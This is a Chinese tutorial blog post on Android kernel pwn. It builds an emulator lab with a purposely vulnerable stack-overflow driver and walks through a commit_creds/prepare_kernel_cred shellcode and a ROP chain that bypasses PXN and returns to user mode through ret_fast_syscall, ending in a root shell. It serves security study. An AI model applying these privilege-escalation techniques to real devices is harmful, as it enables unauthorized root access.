作者:Hcamael@知道创宇404实验室
最近在研究一个最简单的android内核的栈溢出利用方法,网上的资料很少,就算有也是旧版内核的,新版的内核有了很大的不同,如果放在x86上本应该是很简单的东西,但是arm指令集有很大的不同,所以踩了很多坑
把上一篇改了一下名字,换成了从0开始学Linux内核,毕竟不是专业搞开发的,所以驱动开发没必要学那么深,只要会用,能看懂代码基本就够用了。本篇开始学Linux kernel pwn了,而内核能搞的也就是提权,而提权比较多人搞的就是x86和arm指令集的Linux系统提权了,arm指令集的基本都是安卓root和iOS越狱,而mips指令集的几乎没啥人在搞,感觉是应用场景少。
环境准备
android内核编译
下载相关源码依赖
android内核源码使用的是goldfish[1],直接clone下来,又大又慢又久,在git目录下编译也麻烦,所以想搞那个版本的直接下那个分支的压缩包就好了
本文使用的工具的下载地址:
PS:git clone速度慢的话可以使用国内镜像加速:s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/
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<span class="token comment"># 下载源码 </span>$ wget https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>kernel<span class="token operator">/</span>goldfish<span class="token operator">/</span><span class="token operator">+</span>archive<span class="token operator">/</span>android<span class="token operator">-</span>goldfish<span class="token number">-3.10</span><span class="token punctuation">.</span>tar<span class="token punctuation">.</span>gz $ tar zxf goldfish<span class="token operator">-</span>android<span class="token operator">-</span>goldfish<span class="token number">-3.10</span><span class="token punctuation">.</span>tar<span class="token punctuation">.</span>gz <span class="token comment"># 下载编译工具 </span>$ git clone https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>platform<span class="token operator">/</span>prebuilts<span class="token operator">/</span>gcc<span class="token operator">/</span>linux<span class="token operator">-</span>x86<span class="token operator">/</span>arm<span class="token operator">/</span>arm<span class="token operator">-</span>linux<span class="token operator">-</span>androideabi<span class="token number">-4.6</span> <span class="token comment"># 下载一键编译脚本 </span>$ git clone https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>platform<span class="token operator">/</span>prebuilts<span class="token operator">/</span>qemu<span class="token operator">-</span>kernel<span class="token operator">/</span> <span class="token comment"># 只需要kernel-toolchain和build-kernel.sh </span>$ cp qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>build<span class="token operator">-</span>kernel<span class="token punctuation">.</span>sh goldfish<span class="token operator">/</span> $ cp <span class="token operator">-</span>r qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>kernel<span class="token operator">-</span>toolchain<span class="token operator">/</span> goldfish<span class="token operator">/</span> |
修改内核
学android kernel pwn最初看的是Github上的一个项目[3],不过依赖的是旧内核,估计是android 3.4以下的内核,在3.10以上的有各种问题,所以我自己做了些修改,也开了一个Github源:https://github.com/Hcamael/android_kernel_pwn
对kernel源码有两点需要修改:
1.添加调试符号
首先需要知道自己要编译那个版本的,我编译的是32位Android内核,使用的是goldfish_armv7
,配置文件在: arch/arm/configs/goldfish_armv7_defconfig
但是不知道为啥3.10里没有该配置文件,不过用ranchu也一样:
给内核添加调试符号,只需要在上面的这个配置文件中添加:CONFIG_DEBUG_INFO=y
,如果是goldfish就需要自己添加,ranchu默认配置已经有了,所以不需要更改。
2.添加包含漏洞的驱动
目的是研究Android提权利用方法,所以是自己添加一个包含栈溢出的驱动,该步骤就是学习如何添加自己写的驱动
上面给了一个我的Github项目,把该项目中的vulnerabilities/
目录复制到内核源码的驱动目录中:
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$ cp vulnerabilities<span class="token operator">/</span> goldfish<span class="token operator">/</span>drivers<span class="token operator">/</span> |
修改Makefile:
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$ <span class="token keyword">echo</span> <span class="token string">"obj-y += vulnerabilities/"</span> <span class="token operator">></span><span class="token operator">></span> drivers<span class="token operator">/</span>Makefile |
导入环境变量后,使用一键编译脚本进行编译:
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$ export PATH<span class="token operator">=</span><span class="token operator">/</span>root<span class="token operator">/</span>arm<span class="token operator">-</span>linux<span class="token operator">-</span>androideabi<span class="token number">-4.6</span><span class="token operator">/</span>bin<span class="token operator">/</span><span class="token punctuation">:</span><span class="token property">$PATH</span> $ <span class="token punctuation">.</span><span class="token operator">/</span>build<span class="token operator">-</span>kernel<span class="token punctuation">.</span>sh <span class="token operator">--</span>config<span class="token operator">=</span><span class="token string">"ranchu"</span> |
PS: 在docker中复现环境的时候遇到一个问题,可以参考:https://stackoverflow.com/questions/42895145/cross-compile-the-kernel
编译好后的内核在/tmp/qemu-kernel
目录下,有两个文件,一个zImage,内核启动镜像,一个vmlinux是kernel的binary文件,丢ida里面分析内核,或者给gdb提供符号信息
Android模拟环境准备
内核编译好后,就是搞Android环境了,可以直接使用Android Studio[2]一把梭,但是如果不搞开发的话,感觉Studio太臃肿了,下载也要下半天,不过还好,官方提供了命令行工具,觉得Studio太大的可以只下这个
PS: 记得装java,最新版的java 11不能用,我用的是java 8
建一个目录,然后把下载的tools放到这个目录中
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$ mkdir android_sdk $ mv tools android_sdk<span class="token operator">/</span> |
首先需要使用tools/bin/sdkmanager
装一些工具
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<span class="token comment"># 用来编译android binary(exp)的,如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖,解决依赖太麻烦了,还是用ndk一把梭方便 </span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"ndk-bundle"</span> <span class="token comment"># android模拟器 </span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"emulator"</span> <span class="token comment"># avd </span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"platforms;android-19"</span> $ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"system-images;android-19;google_apis;armeabi-v7a"</span> <span class="token comment"># 其他 </span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"platform-tools"</span> |
PS:因为是32位的,所以选择的是armeabi-v7a
PSS: 我一共测试过19, 24, 25,发现在24,25中,自己写的包含漏洞的驱动只有特权用户能访问,没去仔细研究为啥,就先使用低版本的android-19了
创建安卓虚拟设备:
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<span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>avdmanager create avd <span class="token operator">-</span>k <span class="token string">"system-images;android-19;google_apis;armeabi-v7a"</span> <span class="token operator">-</span>d <span class="token number">5</span> <span class="token operator">-</span>n <span class="token string">"kernel_test"</span> |
启动:
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$ export kernel_path<span class="token operator">=</span>ranchu_3<span class="token punctuation">.</span>10_zImage 或者 $ export kernel_path<span class="token operator">=</span>goldfish_3<span class="token punctuation">.</span>10_zImage $ <span class="token punctuation">.</span><span class="token operator">/</span>emulator <span class="token operator">-</span>show<span class="token operator">-</span>kernel <span class="token operator">-</span>kernel <span class="token property">$kernel_path</span> <span class="token operator">-</span>avd kernel_test <span class="token operator">-</span>no<span class="token operator">-</span>audio <span class="token operator">-</span>no<span class="token operator">-</span>boot<span class="token operator">-</span>anim <span class="token operator">-</span>no<span class="token operator">-</span>window <span class="token operator">-</span>no<span class="token operator">-</span>snapshot <span class="token operator">-</span>qemu <span class="token operator">-</span>s |
去测试下我写的exp:
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$ cd <span class="token operator">~</span><span class="token operator">/</span>goldfish<span class="token operator">/</span>drivers<span class="token operator">/</span>vulnerabilities<span class="token operator">/</span>stack_buffer_overflow<span class="token operator">/</span>solution $ <span class="token punctuation">.</span><span class="token operator">/</span>build_and_run<span class="token punctuation">.</span>sh |
编译好了之后运行,记得要用普通用户运行:
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<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ id id uid<span class="token operator">=</span><span class="token function">2000<span class="token punctuation">(</span></span>shell<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">1007<span class="token punctuation">(</span></span>log<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>init_shell<span class="token punctuation">:</span>s0 <a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ <span class="token operator">/</span>data<span class="token operator">/</span>local<span class="token operator">/</span>tmp<span class="token operator">/</span>stack_buffer_overflow_exploit <span class="token operator">/</span>data<span class="token operator">/</span>local<span class="token operator">/</span>tmp<span class="token operator">/</span>stack_buffer_overflow_exploit start <a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> <span class="token comment"># id </span>id uid<span class="token operator">=</span><span class="token function">0<span class="token punctuation">(</span></span>root<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">0<span class="token punctuation">(</span></span>root<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>kernel<span class="token punctuation">:</span>s0 |
Android 内核提权研究
环境能跑通以后,就来说说我的exp是怎么写出来的。
首先说一下,我的环境都是来源于AndroidKernelExploitationPlayground项目[3],但是实际测试的发现,该项目中依赖的估计是3.4的内核,但是现在的emulator
要求内核版本大于等于3.10
从内核3.4到3.10有许多变化,首先,对内核的一些函数做了删减修改,所以需要改改驱动的代码,其次就是3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,所以该项目中给的exp是使用shellcode,但是在3.10内核中却开启了PXN保护,无法执行用户态内存中的shellcode
提权思路
搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢?
一般提权的shellcode长这样:
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asm ( " .text\n" " .align 2\n" " .code 32\n" " .globl shellCode\n\t" "shellCode:\n\t" // commit_creds(prepare_kernel_cred(0)); // -> get root "LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr "MOV R0, #0\n\t" "BLX R3\n\t" "LDR R3, =0xc0039834\n\t" //commit_creds addr "BLX R3\n\t" "mov r3, #0x40000010\n\t" "MSR CPSR_c,R3\n\t" "LDR R3, =0x879c\n\t" // payload function addr "BLX R3\n\t" ); |
这个shellcode提权的思路有三步:
- prepare_kernel_cred(0) 创建一个特权用户cred
- commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
- MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)
切换回用户态后,当前程序的权限已经变为root,这时候就可以执行/bin/sh
再继续深入研究,就涉及到内核的三个结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
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$ cat <span class="token punctuation">.</span><span class="token operator">/</span>arch<span class="token operator">/</span>arm<span class="token operator">/</span>include<span class="token operator">/</span><span class="token keyword">asm</span><span class="token operator">/</span>thread_info<span class="token punctuation">.</span>h <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token keyword">struct</span> thread_info <span class="token punctuation">{</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token keyword">struct</span> task_struct <span class="token operator">*</span>task<span class="token punctuation">;</span> <span class="token comment">/* main task structure */</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> $ cat <span class="token punctuation">.</span><span class="token operator">/</span>include<span class="token operator">/</span>linux<span class="token operator">/</span>sched<span class="token punctuation">.</span>h <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token keyword">struct</span> task_struct <span class="token punctuation">{</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token keyword">const</span> <span class="token keyword">struct</span> cred __rcu <span class="token operator">*</span>real_cred<span class="token punctuation">;</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> $ cat <span class="token punctuation">.</span><span class="token operator">/</span>include<span class="token operator">/</span>linux<span class="token operator">/</span>cred<span class="token punctuation">.</span>h <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token keyword">struct</span> cred <span class="token punctuation">{</span> atomic_t usage<span class="token punctuation">;</span> <span class="token property">#ifdef CONFIG_DEBUG_CREDENTIALS</span> atomic_t subscribers<span class="token punctuation">;</span> <span class="token comment">/* number of processes subscribed */</span> <span class="token keyword">void</span> <span class="token operator">*</span>put_addr<span class="token punctuation">;</span> <span class="token keyword">unsigned</span> magic<span class="token punctuation">;</span> <span class="token property">#define CRED_MAGIC 0x43736564</span> <span class="token property">#define CRED_MAGIC_DEAD 0x44656144</span> #endif kuid_t uid<span class="token punctuation">;</span> <span class="token comment">/* real UID of the task */</span> kgid_t gid<span class="token punctuation">;</span> <span class="token comment">/* real GID of the task */</span> kuid_t suid<span class="token punctuation">;</span> <span class="token comment">/* saved UID of the task */</span> kgid_t sgid<span class="token punctuation">;</span> <span class="token comment">/* saved GID of the task */</span> kuid_t euid<span class="token punctuation">;</span> <span class="token comment">/* effective UID of the task */</span> kgid_t egid<span class="token punctuation">;</span> <span class="token comment">/* effective GID of the task */</span> kuid_t fsuid<span class="token punctuation">;</span> <span class="token comment">/* UID for VFS ops */</span> kgid_t fsgid<span class="token punctuation">;</span> <span class="token comment">/* GID for VFS ops */</span> <span class="token keyword">unsigned</span> securebits<span class="token punctuation">;</span> <span class="token comment">/* SUID-less security management */</span> kernel_cap_t cap_inheritable<span class="token punctuation">;</span> <span class="token comment">/* caps our children can inherit */</span> kernel_cap_t cap_permitted<span class="token punctuation">;</span> <span class="token comment">/* caps we're permitted */</span> kernel_cap_t cap_effective<span class="token punctuation">;</span> <span class="token comment">/* caps we can actually use */</span> kernel_cap_t cap_bset<span class="token punctuation">;</span> <span class="token comment">/* capability bounding set */</span> kernel_cap_t cap_ambient<span class="token punctuation">;</span> <span class="token comment">/* Ambient capability set */</span> <span class="token property">#ifdef CONFIG_KEYS</span> <span class="token keyword">unsigned</span> <span class="token keyword">char</span> jit_keyring<span class="token punctuation">;</span> <span class="token comment">/* default keyring to attach requested * keys to */</span> <span class="token keyword">struct</span> key __rcu <span class="token operator">*</span>session_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring inherited over fork */</span> <span class="token keyword">struct</span> key <span class="token operator">*</span>process_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring private to this process */</span> <span class="token keyword">struct</span> key <span class="token operator">*</span>thread_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring private to this thread */</span> <span class="token keyword">struct</span> key <span class="token operator">*</span>request_key_auth<span class="token punctuation">;</span> <span class="token comment">/* assumed request_key authority */</span> #endif <span class="token property">#ifdef CONFIG_SECURITY</span> <span class="token keyword">void</span> <span class="token operator">*</span>security<span class="token punctuation">;</span> <span class="token comment">/* subjective LSM security */</span> #endif <span class="token keyword">struct</span> user_struct <span class="token operator">*</span>user<span class="token punctuation">;</span> <span class="token comment">/* real user ID subscription */</span> <span class="token keyword">struct</span> user_namespace <span class="token operator">*</span>user_ns<span class="token punctuation">;</span> <span class="token comment">/* user_ns the caps and keyrings are relative to. */</span> <span class="token keyword">struct</span> group_info <span class="token operator">*</span>group_info<span class="token punctuation">;</span> <span class="token comment">/* supplementary groups for euid/fsgid */</span> <span class="token keyword">struct</span> rcu_head rcu<span class="token punctuation">;</span> <span class="token comment">/* RCU deletion hook */</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> |
每个进程都有一个单独thread_info
结构体,我们来看看内核是怎么获取到每个进程的thread_info
结构体的信息的:
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<span class="token property">#define THREAD_SIZE 8192</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token keyword">static</span> <span class="token keyword">inline</span> <span class="token keyword">struct</span> thread_info <span class="token operator">*</span><span class="token function">current_thread_info<span class="token punctuation">(</span></span><span class="token keyword">void</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">register</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> sp <span class="token keyword">asm</span> <span class="token punctuation">(</span><span class="token string">"sp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> thread_info <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>sp <span class="token operator">&</span> <span class="token operator">~</span><span class="token punctuation">(</span>THREAD_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> |
有点内核基础知识的应该知道,内核的栈是有大小限制的,在arm32中栈的大小是0x2000,而thread_info
的信息储存在栈的最底部
所以,如果我们能获取到当前进程在内核中运行时的其中一个栈地址,我们就能找到thread_info
,从而顺藤摸瓜得到cred
的地址,如果能任意写内核,则可以修改cred
的信息,从而提权
总得来说,内核提权其实只有一条路可走,就是修改cred信息,而commit_creds(prepare_kernel_cred(0));
不过是内核提供的修改cred的函数罢了。
我们来通过gdb展示下cred数据:
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$ <a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ id id uid<span class="token operator">=</span><span class="token function">2000<span class="token punctuation">(</span></span>shell<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">1007<span class="token punctuation">(</span></span>log<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>init_shell<span class="token punctuation">:</span>s0 <span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span> |
通过gdb可以获取到:$sp : 0xd415bf40
从而计算出栈底地址:0xd415a000
然后我们就能获取到thread_info
的信息,然后得到task_struct
的地址:0xd4d16680
接着我们查看task_struct的信息,得到了cred的地址:0xd4167780
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gef<span class="token operator">></span> p <span class="token operator">*</span><span class="token punctuation">(</span>struct task_struct <span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0xd4d16680</span> <span class="token property">$2</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> real_cred <span class="token operator">=</span> <span class="token number">0xd4167780</span><span class="token punctuation">,</span> cred <span class="token operator">=</span> <span class="token number">0xd4167780</span><span class="token punctuation">,</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token comment"># 数据太长了,就不截图了</span> |
然后查看cred的信息:
把uid和gid的十六进制转换成十进制,发现就是当前进程的权限
使用ROP绕过PXN来进行android提权
既然我们已经知道了怎么修改权限,那么接下来就研究一下如何利用漏洞来提权,因为是研究利用方式,所以自己造了一个最基础的栈溢出
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<span class="token keyword">int</span> <span class="token function">proc_entry_write<span class="token punctuation">(</span></span><span class="token keyword">struct</span> file <span class="token operator">*</span>file<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> __user <span class="token operator">*</span>ubuf<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> count<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>data<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">char</span> buf<span class="token punctuation">[</span>MAX_LENGTH<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_from_user<span class="token punctuation">(</span></span><span class="token operator">&</span>buf<span class="token punctuation">,</span> ubuf<span class="token punctuation">,</span> count<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">printk<span class="token punctuation">(</span></span>KERN_INFO <span class="token string">"stackBufferProcEntry: error copying data from userspace\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> count<span class="token punctuation">;</span> <span class="token punctuation">}</span> |
因为开了PXN,所以没办法使用shellcode,然后我第一个想到的思路就是使用ROP来执行shellcode的操作
这里说一下,不要使用ROPgadget
,用这个跑内核的ELF,要跑贼久,推荐使用ROPPER[4]
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$ ropper <span class="token operator">-</span>f <span class="token operator">/</span>mnt<span class="token operator">/</span>hgfs<span class="token operator">/</span>tmp<span class="token operator">/</span>android_kernel<span class="token operator">/</span>ranchu_3<span class="token punctuation">.</span>10_vmlinux <span class="token operator">--</span>nocolor <span class="token operator">></span> ranchu_ropper_gadget |
然后就是找commit_creds
, prepare_kernel_cred
这两个函数的地址,在没有开启kalsr的内核中,我们可以直接把vmlinux丢到ida里面,找这两个函数的地址
到这里,我们可以构造出如下的rop链:
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*pc++ = 0x41424344; // r4 *pc++ = 0xC00B8D68; // ; mov r0, #0; pop {r4, pc} *pc++ = 0x41424344; // r4 *pc++ = 0xC00430F4; // ; prepare_kernel_cred(0) -> pop {r3-r5, pc} *pc++ = 0x41424344; // r3 *pc++ = 0x41424344; // r4 *pc++ = 0x41424344; // r5 *pc++ = 0xC0042BFC; // ; commit_creds -> pop {r4-r6, pc} *pc++ = 0x41424344; // r4 *pc++ = 0x41424344; // r5 *pc++ = 0x41424344; // r6 |
在成功修改当前进程的权限之后,我们需要把当前进程从内核态切换回用户态,然后在用户态执行/bin/sh
,就能提权成功了
但是这里遇到一个问题,在shellcode中,使用的是:
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"mov r3, #0x40000010\n\t" "MSR CPSR_c,R3\n\t" "LDR R3, =0x879c\n\t" // payload function addr "BLX R3\n\t" |
我也很容易能找到gadget: msr cpsr_c, r4; pop {r4, pc};
但是却没法成功切换回用户态,网上相关的资料几乎没有,我也找不到问题的原因,在执行完msr cpsr_c, r4
指令以后,栈信息会发现变化,导致没法控制pc的跳转
不过后来,我跟踪内核的执行,发现内核本身是通过ret_fast_syscall
函数来切换回用户态的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
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$ cat ./arch/arm/kernel/entry-common.S ...... ret_fast_syscall: UNWIND(.fnstart ) UNWIND(.cantunwind ) disable_irq @ disable interrupts ldr r1, [tsk, #TI_FLAGS] tst r1, #_TIF_WORK_MASK bne fast_work_pending asm_trace_hardirqs_on /* perform architecture specific actions before user return */ arch_ret_to_user r1, lr ct_user_enter restore_user_regs fast = 1, offset = S_OFF UNWIND(.fnend ) ...... ----------------------------- 0xc000df80 <ret_fast_syscall>: cpsid i 0xc000df84 <ret_fast_syscall+4>: ldr r1, [r9] 0xc000df88 <ret_fast_syscall+8>: tst r1, #7 0xc000df8c <ret_fast_syscall+12>: bne 0xc000dfb0 <fast_work_pending> 0xc000df90 <ret_fast_syscall+16>: ldr r1, [sp, #72] ; 0x48 0xc000df94 <ret_fast_syscall+20>: ldr lr, [sp, #68]! ; 0x44 0xc000df98 <ret_fast_syscall+24>: msr SPSR_fsxc, r1 0xc000df9c <ret_fast_syscall+28>: clrex 0xc000dfa0 <ret_fast_syscall+32>: ldmdb sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr} 0xc000dfa4 <ret_fast_syscall+36>: nop; (mov r0, r0) 0xc000dfa8 <ret_fast_syscall+40>: add sp, sp, #12 0xc000dfac <ret_fast_syscall+44>: movs pc, lr |
经过我测试发现,使用msr SPSR_fsxc, r1
可以成功从内核态切换回用户态,但是该指令却只存在于该函数之前,无法找到相关的gadget,之后我想了很多利用该函数的方法,最后测试成功的方法是:
计算有漏洞的溢出函数的栈和ret_fast_syscall
函数栈的距离,在使用ROP执行完commit_creds(prepare_kernel_cred(0));
之后,使用合适的gadget来修改栈地址(比如: add sp, sp, #0x30; pop {r4, r5, r6, pc};
),然后控制pc跳转到0xc000df90 <ret_fast_syscall+16>:
,这样程序就相当于执行完了内核的syscall,然后切换回用户进程代码继续执行,在我们的用户态代码中后续执行如下函数,就能成功提权:
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<span class="token keyword">void</span> <span class="token function">payload<span class="token punctuation">(</span></span><span class="token keyword">void</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">getuid<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">execl<span class="token punctuation">(</span></span><span class="token string">"/system/bin/sh"</span><span class="token punctuation">,</span> <span class="token string">"sh"</span><span class="token punctuation">,</span> NULL<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">warnx<span class="token punctuation">(</span></span><span class="token string">"failed to get root. How did we even get here?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">_exit<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> |
完整exp可以见我的Github。
ROP只是其中一种利用方法,后续还会研究其他利用方法和在64位android下的利用。
参考
- https://android.googlesource.com/kernel/goldfish/
- https://developer.android.com/studio/?hl=zh-cn#downloads
- https://github.com/Fuzion24/AndroidKernelExploitationPlayground
- https://github.com/sashs/Ropper
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